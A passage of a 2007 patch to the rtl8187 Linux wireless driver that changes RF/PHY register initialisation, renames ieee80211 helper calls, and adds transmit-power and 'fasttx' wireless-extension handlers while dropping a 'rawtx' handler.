+ + mdelay(1); } #endif - + force_pci_posting(dev); mdelay(1); - + write_phy_ofdm(dev, 0x0, 0x1); mdelay(1); write_phy_ofdm(dev, 0x1, 0x2); mdelay(1); write_phy_ofdm(dev, 0x2, ((priv->card_type == USB)? 0x42 : 0x62)); mdelay(1); @@ -771,20 +798,20 @@ write_phy_ofdm(dev, 0xa, 0x8); mdelay(1); - //write_phy_ofdm(dev, 0x18, 0xef); + //write_phy_ofdm(dev, 0x18, 0xef); // } //} write_phy_ofdm(dev, 0xb, 0x80); mdelay(1); write_phy_ofdm(dev, 0xc, 0x1);mdelay(1); - + //if(priv->card_type != USB) - write_phy_ofdm(dev, 0xd, 0x43); - + write_phy_ofdm(dev, 0xd, 0x43); + write_phy_ofdm(dev, 0xe, 0xd3);mdelay(1); - + #if 0 if(priv->card_8185 == 1){ if(priv->card_8185_Bversion) @@ -796,17 +823,17 @@ write_phy_ofdm(dev, 0xf, 0x38);mdelay(1); /*ver D & 8187*/ // } - + // if(priv->card_8185 == 1 && priv->card_8185_Bversion) // write_phy_ofdm(dev, 0x10, 0x04);/*ver B*/ // else write_phy_ofdm(dev, 0x10, 0x84);mdelay(1); /*ver C & D & 8187*/ - + write_phy_ofdm(dev, 0x11, 0x07);mdelay(1); /*agc resp time 700*/ - + // if(priv->card_8185 == 2){ /* Ver D & 8187*/ write_phy_ofdm(dev, 0x12, 0x20);mdelay(1); @@ -824,47 +851,46 @@ write_phy_ofdm(dev, 0x15, 0x40); mdelay(1); write_phy_ofdm(dev, 0x16, 0x0); mdelay(1); write_phy_ofdm(dev, 0x17, 0x40); mdelay(1); - + // if (priv->card_type == USB) // write_phy_ofdm(dev, 0x18, 0xef); - + write_phy_ofdm(dev, 0x18, 0xef);mdelay(1); - + write_phy_ofdm(dev, 0x19, 0x19); mdelay(1); write_phy_ofdm(dev, 0x1a, 0x20); mdelay(1); write_phy_ofdm(dev, 0x1b, 0x15);mdelay(1); - + write_phy_ofdm(dev, 0x1c, 0x4);mdelay(1); write_phy_ofdm(dev, 0x1d, 0xc5);mdelay(1); //2005.11.17, - + write_phy_ofdm(dev, 0x1e, 0x95);mdelay(1); write_phy_ofdm(dev, 0x1f, 0x75); mdelay(1); // } - + write_phy_ofdm(dev, 0x20, 0x1f);mdelay(1); write_phy_ofdm(dev, 0x21, 0x17);mdelay(1); - + write_phy_ofdm(dev, 0x22, 0x16);mdelay(1); // if(priv->card_type != USB) write_phy_ofdm(dev, 0x23, 0x80);mdelay(1); //FIXME maybe not needed // <> - + write_phy_ofdm(dev, 0x24, 0x46); mdelay(1); write_phy_ofdm(dev, 0x25, 0x00); mdelay(1); write_phy_ofdm(dev, 0x26, 0x90); mdelay(1); write_phy_ofdm(dev, 0x27, 0x88); mdelay(1); - + // <> Set init. gain to m74dBm. - rtl8225z2_set_gain(dev,4); - + write_phy_cck(dev, 0x0, 0x98); mdelay(1); write_phy_cck(dev, 0x3, 0x20); mdelay(1); write_phy_cck(dev, 0x4, 0x7e); mdelay(1); @@ -875,6 +901,9 @@ /* Ver C & D & 8187*/ write_phy_cck(dev, 0x8, 0x2e);mdelay(1); + write_phy_cck(dev, 0x9, 0x11);mdelay(1); + write_phy_cck(dev, 0xa, 0x17);mdelay(1); + write_phy_cck(dev, 0xb, 0x11);mdelay(1); write_phy_cck(dev, 0x10, ((priv->card_type == USB) ? 0x9b: 0x93)); mdelay(1); write_phy_cck(dev, 0x11, 0x88); mdelay(1); @@ -885,52 +914,59 @@ else #endif write_phy_cck(dev, 0x13, 0xd0); /* Ver C & D & 8187*/ - - write_phy_cck(dev, 0x19, 0x0); - write_phy_cck(dev, 0x1a, 0xa0); - write_phy_cck(dev, 0x1b, 0x8); - write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ - - write_phy_cck(dev, 0x41, 0x8d);mdelay(1); - +// write_phy_cck(dev, 0x19, 0x0); +// write_phy_cck(dev, 0x1a, 0xa0); +// write_phy_cck(dev, 0x1b, 0x8); +// write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ + write_phy_cck(dev, 0x19, 0x0); mdelay(1); + write_phy_cck(dev, 0x1a, 0xa0); mdelay(1); + write_phy_cck(dev, 0x1b, 0x8); mdelay(1); + write_phy_cck(dev, 0x1d, 0x0); mdelay(1); + write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ mdelay(1); + write_phy_cck(dev, 0x41, 0x86); mdelay(1); + + +// write_phy_cck(dev, 0x41, 0x8d);mdelay(1); + + write_phy_cck(dev, 0x42, 0x15); mdelay(1); write_phy_cck(dev, 0x43, 0x18); mdelay(1); - - + + write_phy_cck(dev, 0x44, 0x36); mdelay(1); write_phy_cck(dev, 0x45, 0x35); mdelay(1); write_phy_cck(dev, 0x46, 0x2e); mdelay(1); write_phy_cck(dev, 0x47, 0x25); mdelay(1); write_phy_cck(dev, 0x48, 0x1c); mdelay(1); write_phy_cck(dev, 0x49, 0x12); mdelay(1); - write_phy_cck(dev, 0x4a, 0x9); mdelay(1); - write_phy_cck(dev, 0x4b, 0x4); mdelay(1); + write_phy_cck(dev, 0x4a, 0x09); mdelay(1); + write_phy_cck(dev, 0x4b, 0x04); mdelay(1); write_phy_cck(dev, 0x4c, 0x5);mdelay(1); write_nic_byte(dev, 0x5b, 0x0d); mdelay(1); - + // <> // // TESTR 0xb 8187 // write_phy_cck(dev, 0x10, 0x93);// & 0xfb); -// +// // //if(priv->card_type != USB){ // write_phy_ofdm(dev, 0x2, 0x62); // write_phy_ofdm(dev, 0x6, 0x0); // write_phy_ofdm(dev, 0x8, 0x0); // //} - + rtl8225z2_SetTXPowerLevel(dev, channel); - + write_phy_cck(dev, 0x10, 0x9b); mdelay(1); /* Rx ant A, 0xdb for B */ write_phy_ofdm(dev, 0x26, 0x90); mdelay(1); /* Rx ant A, 0x10 for B */ - + rtl8185_tx_antenna(dev, 0x3); /* TX ant A, 0x0 for B */ - - /* switch to high-speed 3-wire + + /* switch to high-speed 3-wire * last digit. 2 for both cck and ofdm */ if(priv->card_type == USB) @@ -943,23 +979,23 @@ // if(priv->card_type != USB) // rtl8225_set_gain(dev, 4); /* FIXME this '1' is random */ // <> // rtl8225_set_mode(dev, 1); /* FIXME start in B mode */ // <> -// +// // /* make sure is waken up! */ // write_rtl8225(dev,0x4, 0x9ff); -// rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); +// rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); // rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_ON); - + rtl8225_rf_set_chan(dev, priv->chan); //write_nic_word(dev,BRSR,brsr); - + //rtl8225z2_rf_set_mode(dev); } -void rtl8225z2_rf_set_mode(struct net_device *dev) +void rtl8225z2_rf_set_mode(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(priv->ieee80211->mode == IEEE_A) { write_rtl8225(dev, 0x5, 0x1865); @@ -970,15 +1006,15 @@ write_phy_ofdm(dev, 0xb, 0x99); write_phy_ofdm(dev, 0xf, 0x20); write_phy_ofdm(dev, 0x11, 0x7); - + rtl8225z2_set_gain(dev,4); - + write_phy_ofdm(dev,0x15, 0x40); write_phy_ofdm(dev,0x17, 0x40); - + write_nic_dword(dev, 0x94,0x10000000); }else{ - + write_rtl8225(dev, 0x5, 0x1864); write_nic_dword(dev, RF_PARA, 0x10044); write_nic_dword(dev, RF_TIMING, 0xa8008); @@ -987,12 +1023,12 @@ write_phy_ofdm(dev, 0xb, 0x99); write_phy_ofdm(dev, 0xf, 0x20); write_phy_ofdm(dev, 0x11, 0x7); - + rtl8225z2_set_gain(dev,4); - + write_phy_ofdm(dev,0x15, 0x40); write_phy_ofdm(dev,0x17, 0x40); - + write_nic_dword(dev, 0x94,0x04000002); } } diff -Naur rtl8187_orig/beta-8187/r8180_wx.c rtl8187_rawtx/beta-8187/r8180_wx.c --- rtl8187_orig/beta-8187/r8180_wx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_wx.c 2007-06-21 23:44:42.000000000 +0200 @@ -1,19 +1,19 @@ -/* +/* This file contains wireless extension handlers. This is part of rtl8180 OpenSource driver. - Copyright (C) Andrea Merello 2004-2005 + Copyright (C) Andrea Merello 2004-2005 Released under the terms of GPL (General Public Licence) - - Parts of this driver are based on the GPL part + + Parts of this driver are based on the GPL part of the official realtek driver. - - Parts of this driver are based on the rtl8180 driver skeleton + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon. Parts of this driver are based on the Intel Pro Wireless 2100 GPL driver. - - We want to tanks the Authors of those projects and the Ndiswrapper + + We want to tanks the Authors of those projects and the Ndiswrapper project Authors. */ @@ -21,20 +21,21 @@ #include "r8187.h" #include "r8180_hw.h" +#include "r8180_rtl8225.h" #define RATE_COUNT 4 u32 rtl8180_rates[] = {1000000,2000000,5500000,11000000, 6000000,9000000,12000000,18000000,24000000,36000000,48000000,54000000}; - + static int r8180_wx_get_freq(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_freq(priv->ieee80211,a,wrqu,b); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_freq_rtl7(priv->ieee80211,a,wrqu,b); } @@ -45,28 +46,28 @@ { int *parms = (int *)b; int bi = parms[0]; - - struct r8180_priv *priv = ieee80211_priv(dev); - + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); DMESG("setting beacon interval to %x",bi); - + priv->ieee80211->beacon_interval=bi; rtl8180_commit(dev); up(&priv->wx_sem); - - return 0; + + return 0; } static int r8180_wx_set_forceassociate(struct net_device *dev, struct iw_request_info *aa, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv=ieee80211_priv(dev); + struct r8180_priv *priv=ieee80211_priv_rtl7(dev); int *parms = (int *)extra; - + priv->ieee80211->force_associate = (parms[0] > 0); - + return 0; } @@ -75,108 +76,186 @@ static int r8180_wx_get_mode(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv=ieee80211_priv(dev); + struct r8180_priv *priv=ieee80211_priv_rtl7(dev); - return ieee80211_wx_get_mode(priv->ieee80211,a,wrqu,b); + return ieee80211_wx_get_mode_rtl7(priv->ieee80211,a,wrqu,b); } -static int r8180_wx_get_rate(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_rate(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - return ieee80211_wx_get_rate(priv->ieee80211,info,wrqu,extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return ieee80211_wx_get_rate_rtl7(priv->ieee80211,info,wrqu,extra); } -static int r8180_wx_set_rate(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_rate(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); + ret = ieee80211_wx_set_rate_rtl7(priv->ieee80211,info,wrqu,extra); - ret = ieee80211_wx_set_rate(priv->ieee80211,info,wrqu,extra); - up(&priv->wx_sem); - + return ret; } -static int r8180_wx_set_rawtx(struct net_device *dev, - struct iw_request_info *info, - union iwreq_data *wrqu, char *extra) +static int r8180_wx_get_txpow(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - int ret; - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int i=0; down(&priv->wx_sem); - - ret = ieee80211_wx_set_rawtx(priv->ieee80211, info, wrqu, extra); - + wrqu->power.value = 0; + for(i=0; i<15; i++) + { + if(priv->chtxpwr[i] > wrqu->power.value) wrqu->power.value = priv->chtxpwr[i]; + if(priv->chtxpwr_ofdm[i] > wrqu->power.value) wrqu->power.value = priv->chtxpwr_ofdm[i]; + } + wrqu->power.fixed = 1; + wrqu->power.flags = IW_TXPOW_DBM; + wrqu->power.disabled = 0; up(&priv->wx_sem); - + + return 0; +} + +#if 1 +static int r8180_wx_set_txpow(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + int ret = 0, i=0; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + down(&priv->wx_sem); + + if (wrqu->power.flags != IW_TXPOW_DBM) + { + ret = -EINVAL; + goto out; + } + + if(wrqu->power.value > priv->txpwr_max) + { + ret = -EINVAL; + goto out; + } + + if(wrqu->power.value < 0) + { + ret = -EINVAL; + goto out; + } + + for(i=1;i<15;i++) + { + priv->chtxpwr[i] = priv->chtxpwr_orig[i] - (priv->txpwr_max - wrqu->power.value); + if(priv->chtxpwr[i] > priv->chtxpwr_orig[i]) priv->chtxpwr[i] = 0; + + priv->chtxpwr_ofdm[i] = priv->chtxpwr_ofdm_orig[i] - (priv->txpwr_max - wrqu->power.value); + if(priv->chtxpwr_ofdm[i] > priv->chtxpwr_ofdm_orig[i]) priv->chtxpwr_ofdm[i] = 0; + } + rtl8225z2_SetTXPowerLevel(dev, 1); + + out: + up(&priv->wx_sem); + return ret; - + } +#endif -static int r8180_wx_set_crcmon(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_crcmon(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int *parms = (int *)extra; int enable = (parms[0] > 0); short prev = priv->crcmon; down(&priv->wx_sem); - - if(enable) + + if(enable) priv->crcmon=1; - else + else priv->crcmon=0; - DMESG("bad CRC in monitor mode are %s", + DMESG("bad CRC in monitor mode are %s", priv->crcmon ? "accepted" : "rejected"); if(prev != priv->crcmon && priv->up){ rtl8180_down(dev); rtl8180_up(dev); } - + up(&priv->wx_sem); - + + return 0; +} + +static int r8180_wx_set_fasttx(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int *parms = (int *)extra; + int enable = (parms[0] > 0); + short prev = priv->fasttx; + + down(&priv->wx_sem); + + if(enable) + priv->fasttx=1; + else + priv->fasttx=0; + + DMESG("Transmission method (regarding speed) set to: %s", + priv->fasttx ? "fast" : "normal"); + + if(prev != priv->fasttx && priv->up){ + rtl8180_down(dev); + rtl8180_up(dev); + } + + up(&priv->wx_sem); + return 0; } static int r8180_wx_set_mode(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_mode(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_mode_rtl7(priv->ieee80211,a,wrqu,b); + rtl8187_set_rxconf(dev); - + up(&priv->wx_sem); return ret; } -static int rtl8180_wx_get_range(struct net_device *dev, - struct iw_request_info *info, +static int rtl8180_wx_get_range(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { struct iw_range *range = (struct iw_range *)extra; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); u16 val; int i; @@ -186,26 +265,26 @@ /* Let's try to keep this struct in the same order as in * linux/include/wireless.h */ - + /* TODO: See what values we can set, and remove the ones we can't * set, or fill them with some default data. */ /* ~5 Mb/s real (802.11b) */ - range->throughput = 5 * 1000 * 1000; + range->throughput = 5 * 1000 * 1000; // TODO: Not used in 802.11b? // range->min_nwid; /* Minimal NWID we are able to set */ // TODO: Not used in 802.11b? // range->max_nwid; /* Maximal NWID we are able to set */ - + /* Old Frequency (backward compat - moved lower ) */ -// range->old_num_channels; +// range->old_num_channels; // range->old_num_frequency; // range->old_freq[6]; /* Filler to keep "version" at the same offset */ if(priv->rf_set_sens != NULL) range->sensitivity = priv->max_sens; /* signal level threshold range */ - + range->max_qual.qual = 100; /* TODO: Find real max RSSI and stick here */ range->max_qual.level = 0; @@ -219,14 +298,14 @@ range->avg_qual.updated = 7; /* Updated all three */ range->num_bitrates = RATE_COUNT; - + for (i = 0; i < RATE_COUNT && i < IW_MAX_BITRATES; i++) { range->bitrate[i] = rtl8180_rates[i]; } - + range->min_frag = MIN_FRAG_THRESHOLD; range->max_frag = MAX_FRAG_THRESHOLD; - + range->pm_capa = 0; range->we_version_compiled = WIRELESS_EXT; @@ -243,18 +322,18 @@ range->num_channels = 14; for (i = 0, val = 0; i < 14; i++) { - + // Include only legal frequencies for some countries if ((priv->challow)[i+1]) { range->freq[val].i = i + 1; - range->freq[val].m = ieee80211_wlan_frequencies[i] * 100000; + range->freq[val].m = ieee80211_wlan_frequencies_rtl7[i] * 100000; range->freq[val].e = 1; val++; } else { // FIXME: do we need to set anything for channels // we don't use ? } - + if (val == IW_MAX_FREQUENCIES) break; } @@ -267,15 +346,15 @@ static int r8180_wx_set_scan(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + if(!priv->up) return -1; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_scan(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_scan_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); return ret; } @@ -286,50 +365,50 @@ { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(!priv->up) return -1; - + down(&priv->wx_sem); - ret = ieee80211_wx_get_scan(priv->ieee80211,a,wrqu,b); - + ret = ieee80211_wx_get_scan_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); - + return ret; } -static int r8180_wx_set_essid(struct net_device *dev, +static int r8180_wx_set_essid(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int ret; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_essid(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_essid_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); return ret; } -static int r8180_wx_get_essid(struct net_device *dev, +static int r8180_wx_get_essid(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_get_essid(priv->ieee80211, a, wrqu, b); + + ret = ieee80211_wx_get_essid_rtl7(priv->ieee80211, a, wrqu, b); up(&priv->wx_sem); - + return ret; } @@ -338,30 +417,30 @@ union iwreq_data *wrqu, char *b) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_set_freq(priv->ieee80211, a, wrqu, b); - + + ret = ieee80211_wx_set_freq_rtl7(priv->ieee80211, a, wrqu, b); + up(&priv->wx_sem); return ret; } -static int r8180_wx_get_name(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_name(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - return ieee80211_wx_get_name(priv->ieee80211, info, wrqu, extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return ieee80211_wx_get_name_rtl7(priv->ieee80211, info, wrqu, extra); } -static int r8180_wx_set_frag(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_frag(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (wrqu->frag.disabled) priv->ieee80211->fts = DEFAULT_FRAG_THRESHOLD; @@ -369,7 +448,7 @@ if (wrqu->frag.value < MIN_FRAG_THRESHOLD || wrqu->frag.value > MAX_FRAG_THRESHOLD) return -EINVAL; - + priv->ieee80211->fts = wrqu->frag.value & ~0x1; } @@ -377,11 +456,11 @@ } -static int r8180_wx_get_frag(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_frag(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); wrqu->frag.value = priv->ieee80211->fts; wrqu->frag.fixed = 0; /* no auto select */ @@ -397,49 +476,49 @@ char *extra) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_set_wap(priv->ieee80211,info,awrq,extra); - + + ret = ieee80211_wx_set_wap_rtl7(priv->ieee80211,info,awrq,extra); + up(&priv->wx_sem); return ret; - + } - -static int r8180_wx_get_wap(struct net_device *dev, - struct iw_request_info *info, + +static int r8180_wx_get_wap(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_wap(priv->ieee80211,info,wrqu,extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_wap_rtl7(priv->ieee80211,info,wrqu,extra); } -static int r8180_wx_get_enc(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_enc(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *key) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_encode(priv->ieee80211, info, wrqu, key); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_encode_rtl7(priv->ieee80211, info, wrqu, key); } -static int r8180_wx_set_enc(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_enc(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *key) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - + DMESG("Setting SW wep key"); - ret = ieee80211_wx_set_encode(priv->ieee80211,info,wrqu,key); - + ret = ieee80211_wx_set_encode_rtl7(priv->ieee80211,info,wrqu,key); + up(&priv->wx_sem); return ret; } @@ -447,28 +526,28 @@ static int r8180_wx_set_scan_type(struct net_device *dev, struct iw_request_info *aa, union iwreq_data *wrqu, char *p){ - - struct r8180_priv *priv = ieee80211_priv(dev); + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int *parms=(int*)p; int mode=parms[0]; - + priv->ieee80211->active_scan = mode; - + return 1; } -static int r8180_wx_set_retry(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_retry(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int err = 0; - + down(&priv->wx_sem); - - if (wrqu->retry.flags & IW_RETRY_LIFETIME || + + if (wrqu->retry.flags & IW_RETRY_LIFETIME || wrqu->retry.disabled){ err = -EINVAL; goto exit; @@ -485,13 +564,13 @@ if (wrqu->retry.flags & IW_RETRY_MAX) { priv->retry_rts = wrqu->retry.value; DMESG("Setting retry for RTS/CTS data to %d", wrqu->retry.value); - + }else { priv->retry_data = wrqu->retry.value; DMESG("Setting retry for non RTS/CTS data to %d", wrqu->retry.value); } - - /* FIXME ! + + /* FIXME ! * We might try to write directly the TX config register * or to restart just the (R)TX process. * I'm unsure if whole reset is really needed @@ -503,28 +582,28 @@ rtl8180_rtx_disable(dev); rtl8180_rx_enable(dev); rtl8180_tx_enable(dev); - + } */ exit: up(&priv->wx_sem); - + return err; } -static int r8180_wx_get_retry(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_retry(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + wrqu->retry.disabled = 0; /* can't be disabled */ - if ((wrqu->retry.flags & IW_RETRY_TYPE) == - IW_RETRY_LIFETIME) + if ((wrqu->retry.flags & IW_RETRY_TYPE) == + IW_RETRY_LIFETIME) return -EINVAL; - + if (wrqu->retry.flags & IW_RETRY_MAX) { wrqu->retry.flags = IW_RETRY_LIMIT & IW_RETRY_MAX; wrqu->retry.value = priv->retry_rts; @@ -533,30 +612,30 @@ wrqu->retry.value = priv->retry_data; } //DMESG("returning %d",wrqu->retry.value); - + return 0; } -static int r8180_wx_get_sens(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_sens(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - if(priv->rf_set_sens == NULL) + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(priv->rf_set_sens == NULL) return -1; /* we have not this support for this radio */ wrqu->sens.value = priv->sens; return 0; } -static int r8180_wx_set_sens(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_sens(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - - struct r8180_priv *priv = ieee80211_priv(dev); - + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + short err = 0; down(&priv->wx_sem); //DMESG("attempt to set sensivity to %ddb",wrqu->sens.value); @@ -571,7 +650,7 @@ exit: up(&priv->wx_sem); - + return err; } @@ -623,50 +702,49 @@ dummy, /* SIOCGIWRTS */ r8180_wx_set_frag, /* SIOCSIWFRAG */ r8180_wx_get_frag, /* SIOCGIWFRAG */ - dummy, /* SIOCSIWTXPOW */ - dummy, /* SIOCGIWTXPOW */ + r8180_wx_set_txpow, /* SIOCSIWTXPOW */ + r8180_wx_get_txpow, /* SIOCGIWTXPOW */ r8180_wx_set_retry, /* SIOCSIWRETRY */ r8180_wx_get_retry, /* SIOCGIWRETRY */ r8180_wx_set_enc, /* SIOCSIWENCODE */ r8180_wx_get_enc, /* SIOCGIWENCODE */ dummy, /* SIOCSIWPOWER */ dummy, /* SIOCGIWPOWER */ -}; +}; -static const struct iw_priv_args r8180_private_args[] = { - +static const struct iw_priv_args r8180_private_args[] = { { - SIOCIWFIRSTPRIV + 0x0, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "badcrc" - }, - + SIOCIWFIRSTPRIV + 0x0, + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "fasttx" + }, + { SIOCIWFIRSTPRIV + 0x1, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "activescan" - + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "badcrc" }, + { - SIOCIWFIRSTPRIV + 0x2, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "rawtx" + SIOCIWFIRSTPRIV + 0x2, + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "activescan" + } }; static iw_handler r8180_private_handler[] = { -// r8180_wx_set_monitor, /* SIOCIWFIRSTPRIV */ + r8180_wx_set_fasttx, /* SIOCIWFIRSTPRIV */ r8180_wx_set_crcmon, /*SIOCIWSECONDPRIV*/ // r8180_wx_set_forceassociate, // r8180_wx_set_beaconinterval, // r8180_wx_set_monitor_type, r8180_wx_set_scan_type, - r8180_wx_set_rawtx, }; -#if WIRELESS_EXT >= 17 +#if WIRELESS_EXT >= 17 static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); return &priv->wstats; } @@ -679,8 +757,8 @@ .private = r8180_private_handler, .num_private = sizeof(r8180_private_handler) / sizeof(iw_handler), .num_private_args = sizeof(r8180_private_args) / sizeof(struct iw_priv_args), -#if WIRELESS_EXT >= 17 +#if WIRELESS_EXT >= 17 .get_wireless_stats = r8180_get_wireless_stats, #endif - .private_args = (struct iw_priv_args *)r8180_private_args, + .private_args = (struct iw_priv_args *)r8180_private_args, }; diff -Naur rtl8187_orig/beta-8187/r8187_core.c rtl8187_rawtx/beta-8187/r8187_core.c --- rtl8187_orig/beta-8187/r8187_core.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8187_core.c 2007-06-21 23:44:42.000000000 +0200 @@ -1,27 +1,27 @@ /* This is part of rtl8187 OpenSource driver - v 0.1 - Copyright (C) Andrea Merello 2005 + Copyright (C) Andrea Merello 2005 Released under the terms of GPL (General Public License) - - - Parts of this driver are based on the rtl8180 driver skeleton + + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon. Parts of this driver are based on the Intel Pro Wireless 2*00 GPL drivers. - + some ideas might be derived from David Young rtl8180 netbsd driver. - + Parts of the usb code are from the r8150.c driver in linux kernel - + Some ideas borrowed from the 8139too.c driver included in linux kernel. - - We (I?) want to thanks the Authors of those projecs and also the + + We (I?) want to thanks the Authors of those projecs and also the Ndiswrapper's project Authors. - - A special big thanks goes also to Realtek corp. for their help in my - attempt to add RTL8187 and RTL8225 support, and to David Young also. - - Please note that this file is a modified version from rtl8180-sa2400 + A special big thanks goes also to 